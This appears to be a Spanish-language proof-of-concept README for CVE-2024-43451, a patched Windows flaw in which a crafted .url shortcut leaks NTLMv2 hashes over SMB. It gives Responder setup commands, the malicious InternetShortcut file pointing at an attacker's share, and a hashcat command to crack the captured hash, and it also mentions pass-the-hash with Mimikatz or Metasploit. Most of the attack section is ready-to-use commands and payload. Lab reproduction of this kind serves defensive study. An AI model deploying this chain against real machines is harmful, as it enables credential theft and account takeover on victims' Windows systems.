
CVE-2024-43451 es una vulnerabilidad NTLM de Windows que permite a un atacante forzar la autenticación y capturar hashes NTLM mediante el uso de accesos directos maliciosos.
CVE-2024-43451 es una vulnerabilidad de día cero en Microsoft Windows que permite a los atacantes capturar hashes de contraseñas NTLMv2 con una interacción mínima del usuario, lo que potencialmente conduce al robo de credenciales. Un método comúnmente explotado implica aprovechar la autenticación NTLM a través de conexiones SMB a un servidor remoto para capturar el hash. Esta vulnerabilidad fue parcheada en las actualizaciones de noviembre de 2024. Se recomienda a los usuarios aplicar las actualizaciones de seguridad correspondientes para mitigar el riesgo.
Este ataque fue descubierto siendo explotado activamente mediante un correo de phishing enviado desde un servidor gubernamental ucraniano comprometido. El correo incluye un archivo URL malicioso. Cuando el usuario interactúa con el archivo haciendo clic derecho, eliminándolo o moviéndolo, la vulnerabilidad se activa. Esto desencadena una conexión al servidor del atacante, lo que lleva a la descarga de más archivos maliciosos, como el malware SparkRAT (un troyano de acceso remoto de código abierto que permite al atacante obtener control del sistema de la víctima).
NTLMv2 es actualmente la versión más segura y la más relevante hoy en día.
imagen
Para crear un entorno de trabajo para este POC, debemos configurar una máquina Windows objetivo con un número de compilación lanzado antes de noviembre de 2024, y un servidor remoto para simular la captura del hash:
Responder para capturar el hash a través de SMB:
brew install python3
git clone https://github.com/lgandx/Responder.git
cd Responder
sudo python3 Responder.py -I <put your network interface> -v
\\(IP del servidor remoto):
Dado que todo lo que necesita el exploit es realizar una conexión SMB con el servidor remoto, podemos usar un archivo simple para simularlo:
[InternetShortcut]
URL=\\(remote server IP)\share
IconIndex=32
IconFile=C:\Windows\System32\shell32.dll
Una vez que el archivo está preparado y entregado al sistema objetivo, robar el hash requiere una interacción mínima del usuario. Esta interacción podría implicar cualquiera de las siguientes acciones:
https://github.com/user-attachments/assets/fd6389b5-4ee9-4d90-a76e-562394b24058
https://github.com/user-attachments/assets/b820ea73-b0fc-40f1-920e-28cf7869f1e2
Con el hash sin cifrar en mano, podemos intentar descifrarlo para revelar la contraseña en texto plano
o usarlo en un ataque "Pass-the-Hash" con herramientas como Mimikatz o Metasploit.
En nuestro caso, un simple comando de Hashcat revela mi contraseña:
hashcat -m 5600 leak.txt rockyou.txt
